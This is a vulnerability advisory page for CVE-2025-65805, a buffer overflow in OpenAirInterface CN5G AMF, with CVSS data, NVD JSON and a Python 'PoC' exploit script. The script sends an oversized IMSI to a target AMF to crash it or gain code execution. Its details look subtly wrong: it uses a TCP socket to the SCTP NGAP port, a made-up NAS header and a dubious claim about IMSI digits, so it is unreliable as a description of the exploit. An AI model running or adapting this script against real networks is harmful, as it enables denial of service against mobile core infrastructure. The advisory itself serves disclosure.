Security Vulnerability Report
中文
CVE-2025-65805 CVSS 7.5 HIGH

CVE-2025-65805

Published: 2026-01-07 17:16:01
Last Modified: 2026-01-29 01:12:11

Description

OpenAirInterface CN5G AMF<=v2.1.9 has a buffer overflow vulnerability in processing NAS messages. Unauthorized remote attackers can launch a denial-of-service attack and potentially execute malicious code by accessing port N1 and sending an imsi string longer than 1000 to AMF.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:openairinterface:oai-cn5g-amf:*:*:*:*:*:*:*:* - VULNERABLE
OpenAirInterface CN5G AMF < v2.1.9
OpenAirInterface CN5G AMF <= v2.1.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-65805 PoC - OpenAirInterface CN5G AMF Buffer Overflow Note: This PoC is for educational and authorized security testing only. """ import socket import struct import sys def create_nas_message_with_long_imsi(imsi_length=1500): """Construct a NAS message with oversized IMSI field""" # NAS message header nas_header = bytes([0x00, 0x01, 0x02, 0x03]) # IMSI field with excessive length (triggering overflow) long_imsi = b'9' * imsi_length # IMSI typically starts with digit 9 # Construct the malformed NAS message nas_message = nas_header + long_imsi return nas_message def exploit_amf_buffer_overflow(target_ip, target_port=38412): """ Send malicious NAS message to AMF N1 interface Args: target_ip: AMF server IP address target_port: N1 interface port (default 38412) """ try: print(f"[*] Connecting to AMF at {target_ip}:{target_port}") # Create malicious payload payload = create_nas_message_with_long_imsi(1500) print(f"[*] Sending malicious NAS message ({len(payload)} bytes)") print(f"[*] IMSI field length: 1500 bytes (exceeds 1000 byte limit)") # Establish connection and send payload sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(payload) print("[+] Payload sent successfully") print("[!] Target may be crashed or code execution achieved") sock.close() return True except socket.timeout: print("[-] Connection timeout - target may be vulnerable and blocking") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 38412 exploit_amf_buffer_overflow(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65805", "sourceIdentifier": "[email protected]", "published": "2026-01-07T17:16:00.953", "lastModified": "2026-01-29T01:12:10.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenAirInterface CN5G AMF<=v2.1.9 has a buffer overflow vulnerability in processing NAS messages. Unauthorized remote attackers can launch a denial-of-service attack and potentially execute malicious code by accessing port N1 and sending an imsi string longer than 1000 to AMF."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openairinterface:oai-cn5g-amf:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.1.9", "matchCriteriaId": "D58FB2C7-F56A-484A-9795-4875476DA90A"}]}]}], "references": [{"url": "https://github.com/swallele/Vulnerability/blob/main/Openairinterface/Buffer_Overflow/Vulnerability_Report.md", "source": "[email protected]", "tags": ["Broken Link"]}]}}